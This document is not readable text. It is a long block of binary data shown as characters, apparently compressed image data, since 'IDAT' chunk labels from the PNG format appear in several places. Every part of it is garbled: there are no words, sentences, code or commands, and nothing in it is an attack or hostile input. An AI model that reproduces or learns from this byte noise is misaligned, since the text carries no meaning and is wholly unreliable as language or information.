ۃ&<I;;f9ژN FϾf,͆ψ&'${4=*>Z**95>r6:CTi+ g|I0Ʈ^6~5٦Kf{9Od_9r<V9``>$\4f9?a}~1|TZ8b!t"(@	ZU+R6gi|Ha>=S?C'<g'=^K>r\-Ca0!1g93+AkdTӫ4h\Y4I D؈(=%@xi^{[qhgB69Om܍>s2s>,\PP;|A5C;x
"=洘+qX7;t6O.~*?C7΄ϳ945jz^qe9?_;`ҿ''.Ě}?8ߘ2&cg{^[8Ib™32k
Ew3猔4ҋ>}|w46=5!5on'Am_	OK/o=+Nk~Y
A&&~m@R`<bűwuA=Sik9Ę8oZFrFaSϏ2F^ɬQٸ9`	RN@뇱O_`c
\"Q{'Ihy߀mqk>=Wu:8{UΔ}~\!\$}uwƾx\L	].wSIK?rDKފEoh~2^x}~+`3x^r!NEx8<]א|iOI8SK
ob%s:|
>{ [2І.݋Y~~|{~}mFb[?g=?R[*rD%#'j߿բ?pg^s	:dԩz73K:X}v7ŏ)}V\x^_NEzCzyo=}"yFX}sh3^Tfߛ6ֿ`v:bН5hkӍµK.	ۅT+=ُo1xcYRNظ;H!Ξ3UThmy+_GkhIN\swIͦ(n`Yzظ֌P&x*~#Tf|q):)t8&̴
7NVp9;`Ҿh wHrJJg;xJ[~qs2>@`qTۋ+t;^wI}ԣc;8~X!IK̻}#lTˇ@4}gkř:-p a{r<;aݾ,AUMt;uF4+8iހoOoaKKE+)3	gG3<w,o&ɒeI{
(p)ep1rǠ@
P?qȪ{[Agpw3S558yE%9+wC [ &/>OߢcL/V-өG5#b9-˔
IL1ODM=;^c<BQ(:6Ů
ߎ%z_~woy%=6g5?Rt^7?t_8J*Ǭ~ AO5Mpc G9wNBaqPapD78NOIorL#YI<%ڿ>9_\?v Mw}kKa8Z4<gڎ}}燫d>WI)#u96ؓױ_-FIl85\>]`a5_OeШq~Pt/%Yk'&Nxˡu0'6-LD~m]q&Xo81FIg019~,V&qAC##q+ЯӓߍO1F]02J=^ίݑ7 bK8YheoƳ/b寏XkNt8v?,p:'9v]W`!܇aؗ!>\&Utʖsy՝(b8 kkmwn@;3x`)@av_5+|h?bC>*ˁX*?ߘHԄCH?8O><UTsAmKvbɝ6ݽ{GB|$׼t.iϯ	 j=wz^DŽ)6}<_9gE0SzYޔ?ǬgZqNlr׸CC9uqZCpz\+ns"8CCF>)[g%.RB	|:j4#BaL'Ǡ
K2LJWT=Qś7IKoldڿ9dbl*~G\AF>m|JJӜ
R<tw$n~l!J}g*gm}Z.
ՄC3kY7@˨%:,]r*kg}g8{q8&l\Cdmkwb?.c.m:;3~6+bp4nz2A{M6'8fȰ(
j
{VxLl3'XXfdZ/'Txw2~gN5ޚLk+l{<'o4fpyM~EMt87+IkXotV-x^hƤٲK"gܱ&劐XZ_<\s\=4}?Iz%-%zrs1^;/n2CYJ,'8XkfKmD]Lɹ/GyŤ˄#?.΄q;B_獵hy>K2	3Z=?SLPtfM^$YRHCAI]1&?e0pj5dpe3Mk
Y;R)XG-Οu6eo[?.D:JS*b﫦yB`[_+௒gFoǷF0W[֮}}2.߾LxA|u(7b>ՂYa2cXTsпgy,<aN+e?//lY`? ޗCF!6)k/:Dk?g"P95a"=9:oM<>y}†%kA:׆kWJۇ:	HR7<b+@/j>	OK}>8]?`b_ycN,!O	`"ا1繑3?rԪD3 i}p&qx}!C<莰ã/qvߙ$s&p7pOӣū5K6mӺ#$?i
֜QI(-;o/ܽ-kV:p1R]b7Rl92ї94
AO<;?:\ƿڞƬU`zƬ/LYyO
Imkm޶%(@C`ڍe/zC<kzȴߺy]tE%Y^CO-f̩w0]4z/9
.kLƳՁS,6ozm,j2B{b$^d2A
L߁!EpIt kY짎ەlz%Ǫt3i!&Jl@lg
͜9fbm潓si	2<qRrhɻD>OU3upޒNeʓrr"
"K\MXi"O>H3[U
ؼ_~	^pиv7ݭ_wԏ~|aGkJ>#Gw.k!m;R@ׯIOGs炣}+}c>&ՏWX#{up[4.Es^'#}7=ZZ#~MK#ſ\Iܫ%g4K@%wv
(''l̋!qr9Z.
[^ŇRgn
r
ۉemoϡG5AjVeYp_&uVը:;I?#_q~uÖ5޸.qv@,S?\@a՟)ݾc.SLxEF9T?i_'߷x.0GI/ȿrh΢ONt/u hs~&AGX֍OzyG<@?r6ώX_YMٜZ#,t/g/:'}]x/
AU[h?ioT*}e۫٧x?/OR'4|XZ#DZ-1!:?B8Mxym<s1r~i~(ܹ{.ZܲQk7	̞+c
7ok`_hմy8l;Kp~6L]2R*=OqLGkov`,9*B~.o>_e8zOsoqycs'tW78Ɵ$YܥWҏA=-HF"9{M]};z[(/_ñAN8U݇AQC"/>5v>Qɓ'l^-qhFOK||1m*?ZO=u9~;?̯z6%ljsXGoRzI+5o"qȃ<nvOx^'
?̽(?Jsk`ҖC}l_KF|szBuIFctyx!1K%pW?;2!y[BAcu}zd,:|[y~	b_
y06ȠZH
!Pڄzc	'3o5%!b_;/7>z>;J4]65L/oBwf;+7XȬ8OK8(R9orsc"Â6u;LIϚd%Nt1i<WӵgR8$x_e>X__	zo5"wT)95}(6}lUiη͟W:N_b{[c8u,*jge<f{3xs+,~54Rvkor'_vY5-VHSWrƞEQ+oXw.~EBrz\'bY~=>KG8wZXR'N^ePDYS")Z!!_|Ó뤀[F'eyqέG&F_oVr$I8%W^?ӢNOJS?r<e.C_IFQ~6X?H:%K[HŖ/?VBtSٛDS1nWZ?8jXq݁s
S(kIAfGRiavE';${i][µSßXT~RͶYUI&8{㑭d؇99Xaxav:r>S*z_\rTuEL+[]}ѿ??!e֥`O߾!2.o9S<(6{1A
qm	ϼY{{<LMKY%:{={j9:1C5׃f,7x"߿OK<3',;_<?wSy<s"y=L܃!)ߙjOz s qsT:NE޳x>M\>+ͻ2R.p健rd^x~}<fyDJ{3:_
`A?iٻnF^+T%:7dyorz0-pn5F31Jg>铩զ={dT硳OEͦp/Nv4֢M	?!7fXm*E_tԳd(I>->`]lxi1-g9݋eHPZiĆ#ڦi 0!9>򜇸bU;b״5cs5it̍*
oOAs`o틛pUL:dHFߖCJv,uI/ӦZq}ؘRVX/40Tp{/c$DGt0s`3covn0L_s/vz
znűviAP}.Uooϛ8
ܫKtV+z6ot+"H~#oyhi=l:{?{teG5ٴ'NOwohҏs5	@ჵ:<ptpv.n{|ZtvO蒥r!{'J-y/_''#?fBnKPIV:߼8L_NqS_ɣXvxs%ݼZ /q\/S_ P-%?/Bӧ*dFd$u\E^V<bTZ,yyIB
i@E7nI0aS?jr3l/'?JG+鱐y#;ͥF~}5oaYP lO~5IB;s9}p~pG+|myR\,.l:ŧ??y&GNc~j;xd<n6~r{G'n__!?OlRyϿWMYkniOu\nvq{LAx5~J*^'?>yWWl`UVa?㳂tjqpb\'ʳ\)h%楞0+<r`׋[`(ږeY͡Ѩ=NƃfVC1><HX,kq~~h}\q{~(r'P k<˿y.Qe^S{ȟ9=1@k<&꜉hs*K|b8w/}ha6|X~`[mmG^nh0r#8-\k^8VLXRr{%YNM1c?{;\833;{
0~2)^+nB
<@sk6M{O|_QN.'3cul4em
A8'UE{fHs_$ʼwi!NgrVc^:?Nk:J\?9uÙ}Ώ0\]
(/1 F|Ɉ
XX6۪mh^>'~Þp8&#}sj~t#Ƀdp텨q3[1z96	FrX^9>L٨"Y:1e7\,y`y#Ýffx\H9:_|.Eެel`mL3rb6/nBCIc=p)djT΃µ67KP}\
[Ğ}cu,I[I>묷/MBaD?FdӖ`g^GV	ǧi=S6m`n3umIbd`0J[{V1+6]'>JN[1-Z,%vmK!~>/h(ki
Ij{b	Apg]!Fv벚\7NjI`i?x>↑K5VlͮG<|Od}nm	7z@~$8D*MЊ d_(of"/Ӎø(qomю>l8ǧݺڇc_mAr3hdix
[o-{N+>1a0xeq#$=}[oAֳ?qMqx;OC芹2{;ݏaan])p{.qdd!fy"|j+)VdMgDQbyHlYre]s|<W?CVnqxe>
cBXJ_s2dei2X8;5ccZ3P[?'y%4%1{p_~B\yE-R;NV*<+)?>>/3.>|=sa	&Scf1u*@IDAT=#0HqAV?E
gQkc}pxp`OhGL-f;Sy`*go~PMmW?0_u')OMZe8#Zh6U~RJ}WX殾O?{*`I#3
Wt(\vHVNGpCuƵ*b
(WP;EN.B(DƉ%ԼӅ`d{=d	6źet* Kt,Mp?X1s湭gKKƛ?)d6:LEw#\pNBz+'|Ԇ㸶n;
Fr$wmBKdž\8q@^`5J5Y'PaDNˍUf}M)L	oIDXq458BZZcqrifIJ|	[͟<Ra8p8/1+P[S|?pkV>jɵ9u׉A|2j9.otiO`*L^}Z)lS}	Ĉi? F93`",^kN"<5˸ϖ_	XZoS?ywk`!/Y'pGcgr ~zBP^&EbHOiq"brn6P;7\j./ΝZWŇwIkbS5\Zm?1#[.5?'>*?z%DGq1}p-_?/-h(Ƿ<V|瞞o%;oOn~1'V/2oﻢ72/iM~t$-@^GZZ
U/h:3(FY?2eXAg`[~j<7фg~rD$}?mo ϬT4~**xU_: GƟG!:Ѵ_|4:φXW0~.~wᆟ&h8:#D䬳'.R?ʻ9j gܧ~SI9?Ժ#K/+R7b|KQѭ~6ڪOn`5fSYj4خaayO$y3ˬ:Ie='
x]$s\|bp_p_Vxg{`l$0z![еFG!6X8sOw6h.xόnnrXę[*n>'eAISf^VЍZ0G뙲¹8zچ'2<o	MC<͏>T0<'1嬍9dfVͶ=&I#fcʝuXӷH6z	π]&b演Ly>m[saϓ;0>, U;_+GdXl䣵˛#|o(yq}]:i\ڛ8w1joƛ+i-ԘJU&RID6>4-59ds*rf;c2Qn`jÜL97RȗՂd61|%:DzC!L5y}`N7ik/yDY>mqpS<K0!?$ٙW+i.HzAn8^Al=Y8-u|%w?\hEgTx^(''Rhİ<0þ	6yz
^_fm뛳Kj~)E)<Zb{9vԃPt	~s|g!3%#6r&c7#D/	u1|+&I|y&:9gsxz늰bi*AӛY#zݜ.sքzy
85Ga4qſ9[19T)Nl`^\J\J<2:ߜӤ']Ls"e"ȯEDsgܜi|p{i|8^a0Mj{?Ǘ^`z3lO
XFFRϬUqo?olm8܊%\c|Z[{ױ|82{|yyayx=ZIoDٺeO˚Rwbי9bD<	z|+J_:̸jςgèsvXܴa=+P\!gFd{kO:Nٯ9p
3C/]I4E͏9EJ3ъ9(Ywz6OP>$~4AgjLd]Y/иxXGxQ~Mv<{vf蕇(ϗQwZOѾ&>e竏V@Æ!,	tR*_6=K_O1$p=DZP'4TԽ/yS?bg}Bv5^v_|˸
/J΂s`,rQO<
yqS8HjĜuNnU%g:.	tFjͷ <$nx	~9u܀_῏"ɧqEЯsYO-uZc
'|W[q4َ 1(OZdMj{RטS'7#	CLrĚg	>W>㯳jZK{WH'#NLyW1'p$}<,eXfq~@`)^2 pYzJr\5˅Y~R^BÎ,WB};YY^t	۰
JҊݳ o½OV5ltbph+l]\2|DC	],	2i+gq9>'왙Ln4dJ|9ǘٝQJkwWmsӭMA57}II)~%Q,1sɓZjtxpM*w6odAR̈́+1 51A\<gx|/>	ئۑGb4c];'ԉ:_<
yp,moz{)
̛DMG2ڞ'5?W/a*Gi5>_18EВְ
>k10V>J0<Fd{YG"щ{eNs@L{Y43OR%ajYh|?@a~J
BhpvL$w~"iVo	:Z2fh5js/ͯ9E|,?_:$vӴ_qĭg^֤c<0S7Nѿݏ1NZs9wvsahm{o6s?cՐr6ޫ}~I*Mn8vZY>>;ԝ3iq~Х\ITlAR8z&e)=g	:L=]_S{;gaf/6'WG\5v:VR|BC#70N`}~O3<rieyDXKev07+b:5;BN3xYOb:O<X3UvX?}@l>z8Pu7]njã9A+cy#0O7XS'lij?X[]_>M~;uI3/LNKuh5MSLDL-2]HbHz*+pyp
H2u󂀑(R;j34ȥNLKNϺ9{2$|
cfE j`@l	h|,oALa[@O9<߿2\"eԜx@\?g9g̓Ğ/,*nLwrPhspq'
nn8,wtZ\qht`Z.VFi"VfcNd{WFc';	@'aZ<uupgMP0vʦc+⓫[\Ⱥ:s& \
~v"uZ/Y'vuXA
k.boEPth/{;9kYIϼ}! 9I
Nˌ\Q
KiR?5}W"޳u;(|鵍-!y]_~z^E3HGG6<̌?O>+9k&NHl=mMοZk?ZAwޟ_>?'8#MH7Xt#^"NƼω?+Yハ	^	~^]4~hC$=Tg9tK_gF\=ѷ?oOhO큭Nͯ<%;]!H~ϱ=
Cp;+7%
wV aKڶ~}[¦!xe°/_el?q"<~ֱ._3r6i`%$/0Bx΋10=?X}^|oG˄?*~F}\2b<nvs~ ~Y=?cMemؓ2%
OYS^-q1@?Z#VŴ3{*yxXρ+&w7+5eu_<f4?vc|Fbן:Xx1fhy@W_Pvpe<bG62ھɋz%`=ϙ8u!y?IW??oW힗bνIQn Zhz'_&]M=>5HJ>-3_XyqWҞ_U +~h~}n7YXH]' Jl[aq1ۛ*9QK뛵!xiڪTg" !?7qoo$=7^9
'e??D1?
N{oSsjq?fN蟿SQu[guF?{χ{, Md0o&Q)XezzsL	o߻iNιm&wz$#`l+ʴ#wiӀx[lr
5QϦĝɾXfǏ^QPxƛ9aoXXܙbBo-ssUPMui
=|j-A깵YyJuNy}쪇⎘N7՞5F_xFP	H:{~5vg#:d쒃!2ъbk˵y?} ˟.Xc6^S)K.,6~O/Y*ڽEwkϮ{cAs(.U
6gNYGKj^f7!90/}!-4nxP^ͻqmF?_*\Y85i}C<+-D~6P=esZ=_*P4I縷!&siLg8gP7gv^Gl/#}s-Ÿx{
Ě}oğnό=YUZg~;ק58|8
zl^s{% ff{{=pG9?|ѹ\ߴ7֟̚~%sߚ?k>cW=5;}Lp}p_eӷ2(r{]Ԝח՜FS3rR{"	%DQ|	C6h#IyĆН lL
[gOٺ=#u-`?E\́Np~`ُ_b
^<욛ē/#9'j"^Y.ox8?r9 <N_?EW0R|՟vpE=K~/?`y̓:yuMxՁuA(݃#bZ9@?~ѡ#0ф4#ajbezҸN$rhbq0k__uZ7Gȵ|"*r\[k~Y翹HkjS}x{YK')h\FgZS}u{>~Q̼("-4J1ij1Drgs┽60	n=4
q-SVbDW,bS:yg8+,H&l'gu'O!PNSic^GIDAcS2]a^Z?݀['+mu[\l$X{X-ũ:ԬDɹJp @cZVk﯁YCn0ڞ\̦BǕbdחHĜyjwrSXe>aoiiģ+qsgOEO0Q^'M"p+D;_ƛ !듋Aۙ7>u|)MG4lh~P׸ȷ$-*=ҧՖ9</Q7?w[\Zq݌=HmԏH]qs^thYR)i`RmoJ}cK9SK56\.ǜU!lJ̵k5x3\]3q(uFi3czPe$+ï5Q!i<\0uM-O/^y[#KNGIڰ8&{gYBaͮ#Y4Ol_aI/n$ώj'RϸaUap]}zdcџJ53muZOAÛyX'zWVzIh-93t:p7E2+ύ}Ȧycovgv8%g5?0ߵi{=ďO	Е.mqdXTV8-f>ǿ|,g_N&nÒ+{xO1?~x".'g5w}qr~Y_o݋?v~Z5Q`JV$W<E?OLgM/9vk7pºMO2Ex]멿\w1b]MƎ
gh
<6f$hN^	4ĸca8 |k~׸76;В?[eaX2jSY3qL̟f'Lbg-9/Oܿn-oeKR?cvD&\Ԏ)al☣G{ƙv=xͩkqX}Dyϸs~5rTp٭MKrZ=:,"Mzo̟
b}<؝R7&\OX=x6]<4Oڵb{V8&o5r<%﹄YEVtk4N!qՖ{a2ը)lVB\x^׃uhOˆӚz]o.xd^ۥ@vcl=1:!CmԮ"Y5;N'uBT10xD]\DۓCD\Pi(/ɤ%p'I@&ㅨ$奱\^Ii&5Rl璽w!qò* Qj7[dNj^mZ—H%LC{ud=dRqLe:k`.ꛍskCrtzVVmwAg~@GkS_\D[??~nUrߚ85@ uQ[vc;4RٔHsۓ@tŲwPч"=">3dg͟9yelVcNu|N+,dV98͟T	U%;`;ƍ'VF)\^МxV-բgu2fP8~{w~FzOxt¤ñ(^|pѪoO"}SGA&'(X
}x8Mm΅C(\h"S	g,߸C%ֆYvج)n^~kŴZ_
k8}QlE6(X,޳
Mt^[id.-&n6>ĮV8`5o<Ģ[+Σ\qMYYLZ_6AWz~?>b)(r[׳1l<bmjdvn۸oRΣo6?2:#&x/_|rǤ=cWBo.&v	9W[~?xd
56ʉk(9L5hikPW?q[VbNy%ñ+p-DN຺FY巑0
k1Wzg3!x|kµrNo'r<pdbxPzgzRЧ`ڃh?0ex6aE\kE1GoHvKҵVYԣGanNVKȦ_e՟k
Wo;O'IXehvڰh٫2 |DgEcr~otQhhﯘpkC#LQZWoh#e_?jz<Xn߱Lgi1H5i}8;	K~
(s,5w7W/;Ns(Lrrįlw^et8fc-sӷ|ͫG@H^)+_7R#^&{xHMęy@)pԐ3tN<U;:[k.Q`Yj\#Bk9ЇC~cB+jy	^ؖ	@]F`S6m1cY0ŷm[06veYМW'Qӕԩi뇿>dp*xI՜l~{cd:ZgQ`-?21.yb#Hu5]0w:W뿛a(H}&u:Ξc\ԧ~E+5Po
[!p|бScas7ijk_fU16Y%8ړheg|;|$&woUז:]aGCg5ڵ@jOډka?
r?ړ{%x-?F϶?^u}P2;U1GM^[DOSx]n	.}~_ɝ8O<\tn=`aYlYROާG@0k	ʶ=-;8;甎Fv6>BOP2_nC03=־ٯ~O|?^|"LvhO1,/
vv=_
S7w/	ۉw3D\>(51_hC7q3{/;ɆL~<?7g7܅Њ5.˾@G0M?k煅q=G8q8m,׵O~՝WA9^<Ү OLo{cÞ{/Gt:S$ɟ-DeEds2&i{6R'yukL$tOZPϐbsNDY{ߟ3Oa2_St˓"o_G5<`-^}9Z͛&llN&jYOoN
;%1
 U
Na-~<eq~Gg퓓xZ$$=}LbIl=yْyc:pzLsL`Jbdou.fQaYΪy7Fzm'ݛ5n|Pɩ"ҏAc<hBsvp{Z_"JIDx쌫0$>y7q$WpK:SO- zZmsNTZx?$oEV>7n$ϦÐ&jlgA=xgSv7.d/k`koovq~,3!꒨E(oYfME([	Um~-Q7SbS걧46pON2!(/뷖g8vΧy  NBv.lwlg&MO=x}%{lЂDkȕ#O, j\MD&{/y_bf8&x0X\KY&FaM`>STjzk`}*>A
.1z07xmO5YJLMܞC:mgmvOCWԛ"jFG	d67[u-ps.,<#qMf3uI,@kNj;[j4lSx!egnZ?xYoكӶ_!*Nۺf'?_@D 63xa!(o޿7oս?Qc>,X+nlN?,I'o33vWr5!ܞqA^dkWu(lw|ǫd-KZw:'BN;<+yJ◁؝֯͟kihXE!>_GOU{|Zom/-NԚ/vÒ?2\,15
'K}[d|74bZӛ̅1w/GqϏI.^n_Ğ,#TNźO?&CN涙`v-S-^;r
&q*e.a_Kými\[-Qziͷt8;.̮-neO~&ey	<+t/Nσ7ç-O: L'+K&l95Xk~^dfLk:\x%cO@5f.SڣZ/f_O<C	hE04;kJ~MK@lC{éj6wvp>Г|286ipiΎz#@~)5,}UT!yO:ܓOEKޫWv'ScdzYYMosNq$H߿{v?1NƽGL5n7})em]^fsg'r<y[f>sښ~G
^G?|)E\5wlj/bXǵt1NvpŢMt	Sk7	n7ت<[h_/j[+c4'$ĐFZ)^;mFkn2p=y-b|1Η7栎Cs2yvtVlQ#[x
>}Cl;]9?9URAO_}G4Mքo_/w֊gMsO%Ҟ90;k%)iV9?תp<Xvc?֫:;koXıɃe{[N=ۧƛcЁ?kNY?
?^_"4߄gmήpP^&ʩ~Ç1ߓ/7/_sk61Lq}Ͳq4+>L>r݁.^?W sVVFh]<0°"qeY۠kgC7
?`zX˜\[u7"A֏eŲ>.fvIWG.}9!,^??ֿ
%igh-,ksIOZ3	qx+vGMkus'1h?joքNhϏ0f(>냯P?'dg՚bõ8Gq1&jEs0rJ-˚9oMb+qT76^&3A?O
G:;:wm4L9~``mv;s]sDv)l6;- -4/t~k5yOR~[{4?Nc*6?/Ƣ>[IsrB4^ּKşd
!&^2Ur"{ƃq%ocOkQw6wn78/s9G^H&q>yx7%Qyyn<'}0,
M+s~34kU\k翗2"}*7ܣOqjBѣI-S>>E|2wx'bϟ5D,=l|*kxPcZ_/D~egIY<#<CYk>e8Yr */RH ϳOXֳ5
ƒg|oMp̉nFKPWۉS߾/soUT9w?D(^fO~Ő hd4=lg~oz#f잵x[oE@
YN q+f^/u):CuHę~
Ծ#|`oԨM~8{,lZп|o?g-phh9ZQ\4WGk&dI%!2D7VƤd+JqZR.cIOuvzfLM`\AՅ9Oole9v̮s{U `Nֻ#/Ό+0w*[$}qϓsEa&K]%xkIZ~n++6qsH	Ζ}Lkt!r_h4
CN`8.*&_i*#:>D;,B5صB<
1ޡdy>4`X9g&yˎ^W)=si~?F^h|߰dwU2h4<?_Ȉ}N`d
f#gF^-VS4N'(gcRL|'WUbSU}	ysh'̍%L8~qk)~x4
c^o@֋ɻd+1_E-g8?PVQGJ9n?yJ`mެ:ipOAo+b3Mg 2V0;b:Џわ6@*
CX_K~وKG@CWEB"Sm<(~}fZN҆zj!~%F#	b/$!o~Y<x;G닩PuY?rE9_MsSDݾ$jV!8/-67$o)r|ڿk^z'={.$&=ޚ5}]//'g$ɖ\'E'O+U3s;YHIWT['kqR sJ
g~zB'y.s?zƎ$񺊞գ+~WƵ淮gXǹ	QBw'O,><=CgYn7I|~|[9kZ$G0*VNO1ʏn*y~p{1Lo_Nys>kׇ.!mpUkUAv 0C};!k]䗝њ~k[a~I~
{/<5WCѿ{1BFSɿ<83
cgڜOl~r"ziyՍ6sE+hjwX皂p	5`^xb#q)QӰ[u+isW$6퓭qN+i^0}oOR-%ynְ@N$'e޵y|لj?T
m|]f<wX_x6K\2z.%=6oSWϦyђZP{ܜռC>׌x?-$iƈgP:qg-YG\BD%r{uf77ISǟ&DQ:?	Fzk*+@|TYgD&zu)(x/%?p&fžT˸~y1+LOlN~F`
)zuԘjvp~R@Rxrb=h5期ê;S7%9#^㣉>_lmI,j`ܼ,ý<y`i,,,!-@vgsb0txٌ^\ر\Mx-gd}49l\{sJ@~rhgTWƻI%ֵ+doϥTc:sBjt0"-KqLWw0h'BZg~sii^O?֜=os5-Z})2U767_LdNwS5Y?K~lc?dE.=%60Z6`^GV
10>=5)?;6~qLO9iD8:)=qѦzp'bM!9es2$Xb풵nN#Q!_}qpul3Ϡa<01Yily/4f2:v&i/RJhJ1óDɍj#}jg	dMq:\1ׄ[]74o˳k/BiГٶXtޟ?V@IDATr~(<'ſOA,NcA"ϓU{OA;T
(>̘R[?}~9vV=LbK<{M>`Bכ7a98 I@?,B0@y?75&eQ?X{$01Y3)U9X?5~.ϔT["D5Jџޤp~%֯:y_΋OS~8nLv/c~zkqԆ"o[sVD,$3gҜ5AIuIjG'yKZ/ouF>VNkWXuR? A,PNMp"x1]ԪlY[աqdu?d X]+Lā/38r~H}ђ̙Iױzjc.xp=C>ćtà#2uf&yfWu#.un@if-|t>i{%]8oHKaо2|/>THQ (|2+ּ]UU߬w&ȁ~LYrA–19{ni 2[Xp01\h_c*1A:c9Bg*=ZاĤ%^-ĸ<-,dfrgn}wϢ4gʾQc3:SL`+Hp[n:70	#(,M랿5L3k)Jvi>7ƂmDpw
gN^d$5ڒ&cP_3DrԁxH&arL95f>:
Nw0Ȩjp묎'pNyPC6v}jP2E_9đgJ:tjd_\4>Eyo?'_ۯaݜSrou~
^ޮ{W\ʟ"o; wIoKHtll&pFE3R>v	LӀϾ;}pcg<ލң>=ů^㜂.|L78=wQWu>;}6o|ηHvw=Isx|/|~ms90`v~kw-R(q<)L$^`-E ~?![pA=bGcSVw7~./ů}^ԫEx-<I?Y_7?'?|)GM@\=VOw?AGWTp~|+MwӕLօ{l}cS<9#8s6OMu뷢Iu(fՃ_DUT`O'}9`g,giE7q~]idb'p͢CWB<R}gɿVK:yQ;U}9#;
%4u5Ms@	i_X3P^sB9=#9]i7ӓ>C9ZOgQ	huEZU|ޠSeNSx~AȈ}:'F?o.A#i	2m Y7=МC5ߧkNn'쥡EXIطoKa#b|I>a-/Q@ۛy쪿鱜'dwC
	lw	5acO$X>#Zo\g\J>???_qWBAl{Q9scym3A6tMZ"	i~G6Sm'O	NY0dx ZM*,MɔXBozS#V<R#㳦1|g
.F8<IWpnN#R[[&|#KJhW6 u87Pxg]S]V Y&5;I
gr/Εޟ)%G{?~ۨlh1dZ$sx>#/KY<*D5qB'`~u2|qSpuWɟz{#$S8Һb`֖)6BلqSџ]BLϤ#=#}9}hZ#ӣRw[?59't=_ϤؽG[='b=w<AAq۠I 
&R8
5/[Ѣɽ\_fS.g<unc3ccûX+hR>]4I+;mK.س[^
3JD|يdF{9߿werh_ҸWDν{dOMmاNYպv͖g8yogzƹБ?C:^IMio{l0e/DԡTצ{,VC:ɳ?qCm{*ˋ3'W*$-1`W֞=#&h.i7XvJ%KBƔAQ⛧5:
krrޞ5O-߿3]q7H*%٘o4oc9|]7A,n\ؙK&}4"WR?q'?y鿚7Eg3Μowm(ðq9r3$115lO2O3YM[7	_<=ϸgW6L?1>>oƍ&2p#H%zпq
"n94g"9󗉗6T8&r~&	qO!g̔M}"7)stDg^r3s\̾x=esSW?_Ҝq^#s9Gl^zbsrm.%MvZqy{Jc
vgRkVhaS[s7T)@1`}/	˾Mp8
1o>_/NԔu=VB'qŞO|TW[ܑƞù©Xn7Oؘ8d:Ee$7km99F{7w_lڤG}ˋ<"k_;0ˀ=mw<bF]EP	ϓ|K@|qˤ?4>T_B0_Kq.58C'[?1ŷa)]%6k3+IXj;s,io<? ޙu<Y_D`br}NhWI3Sx'rj^;t6%0RW<l#J;.~Kŗ8
_
coå/X3tL'4+$>woN s򠜡g71>RW{T=pIc4ٙҋꮿTua;2&/Kc/3v<[ʃaɺsC,eMz0;5fݞݷEdħsv.#w}w)Mw/'ڦNa
'ߐ/NǞN~sG&u;j86S1wȲ~	6;Kaq%m4v<+X,m@4ZqlE=
oVbk1I~3hɻ[RFmSh\TG_Le;߷k'CW6UJ#v@8_Ɉ07̏YQ0!;x5l~`sN@|λ޹ *7~mD!g=ɓk3-qr^x'wU5saA~Sa]U̓w^|×}-0s~
ڎ2+*Fkv+_7'rmK"p#σ
"
ꏬ$N^<Uwຜg9!0t[C[Һ/~޳eص1<n5\aR_hߞ-#)
s	_BiM=R#5퀨Ga-T!4ݟVLT?}
}m'$0r,7cVMg*c6	l=Ksh}4n^2Nw\#yofikkb8˘ƾ	Ϙ:VV
L$qټq]{]g!p&=2&+@WZ<wjH`O@?gQRh5iK\5r&T2Tͽf&2;2kXXj0MM*O{:|GN1*[O53bKMh3|sVUCgzhy<[cm
&噚NClfג$LB_8F*X0M#^N`T31G#FKFDvN1&!M9VL?	Kvy-Cs3_j+/Z	(mxxp.j"(6
v}-N?[cXyx^7c_c!odp=$d{$v%.~r)).cJ9w3nOEq6O/AvM,sq@.w5!2W#>(cm
{ш/hMt{yb
G?*%ϝ[q	Nl|d5~NΝhJGZEuн'ڳzhVDK6OczNd K0zlTl
{wYL1K~MsỆSW|.Ҧ#[_9X<񷶃wE:&_efm܈;~jlkSC>I?x#k$1,MαEcknm4̘fp\&r͍3z	{{v+nj]75]g=)nCgΟ'D3ˆ\D[t#.UX%jhz%\
H++['>f-R _1}*ggq0yiԼW/xCG6,η|
Jz=!X3zw^ 5v;XČ3ޠٛ
m#9@iqޘnw?oYҌW{v
GMhж|trH[KkOO?S驹jK'6
|9K+7d,+1LF"~^D租,R*?hjHD<c@:N8?E}MyhLW`Ƹ[:Av&5.[eiޘ4B#)ΏSHS
:SjT\b85_uޘhp84qBܟg7llK/="חZSl
re_OǏM
GĚ7"|d4AvyVT5W`K.b1.^R9&a;sJXM25iFB GjM\862Ҵ
-"슍ǐr0CA꿽y${ cHEL}v `gd1V~L34BQ|њs,ҳ+iRA}\pՙd|_,tgzr9R@Zj~oOo?&k05Y/XLO~G߃y[<9X<ށe#v3˿..,}JSӢxQ&1=~񗢵~M[P9WqΗksנK1.2_'s~DOEUš| >w%Mi$~hkZJM9Zs8{p>y<%,hK~Vw]ǘ>j:ֺE=ߔ8n6}w3ᦄcovɛO9kC#G,O8s霱0`Ul=mЇ=?aOS7}ER	b\xnDP[g??yMౡ>t_
?)Ond~ּ_@5Czrr?o_猇M~(<)&1]ݣOEODp`%m)lAF
t֔5
<K(y!>S#=Zq>%xlX@1b'?^bqF'PT7,fw/ŽLe5=a(:2r\ΙhQ|Md+cxAQ	L^}ȋTgKy\WfijuRA̦
~yuKtzX['J{h;w'IGogΡ[&ځ~95WM~Rsjdgxqjv
vt_׻/?x6WĚ
N<mC{;c"WnO?U_+?5uvSPmĵMea#K3d frpjF3qFxT2οg,qtZ^11
ggmڿژ|04V=?" 4IfE>Gnnؐm~CW`K*?ia=61#yeO~L?.Px&`z5&\;PGL9;F8O-<jּ38koF͔xM>\}H.vȰN7/fYsAc4krhM)
8^8e9qvw9׹c~7
(D#ne7_TɎ}`\k%j=X;.}l9D֜(kOE1I]q#Kv[s$o]8Q s>w禺M&&]sڗI zTW6uE?vyڻGdlu\"y~qz5~ʴ4ǓC@FI\}r0F3j6meuJ~c)
?Jr3nmKS1^$AػKYfw}lkJI9?
1_r9s0=cԵ{..PZ"r4]_#9!]|ӮJ·]L&Gt㜶q|9bfZυ81Rʼ	#)HbDM'rcdO|\qșC̀4νNLNuLzS'~D[3gtО½f̏]f~ c=`٭EC|oApĊk_1ya{F(cP}~xJr保ז}`~+?N,5vggs)3U@Z mn~u;C
JFN/~+~ߌN_ar~߀1&ĝto~4Fi]HS1>߹ijA/I$:Z&F59K~@ܼqkM^[tu)bDGPN*7v*K6 ]J$`qm^o2gncub_<3M1gp}В+*YOi	"_<k%K>7߿OюU><S-횳sD~vڧg:gpJ*|ySӿS5A\ΚL>1I\9#3vVS:ujb,+:Ssf[mxR65NXF6YPxS|V213z8326Ffc	Sgٚ7
Z| Ը1ڨ+ˊ6Olb{"1xm[8	!;hZ$1pFhHOK&lM) @<ZcǑzQpB*1N@x6! g.3ܫn4JF@
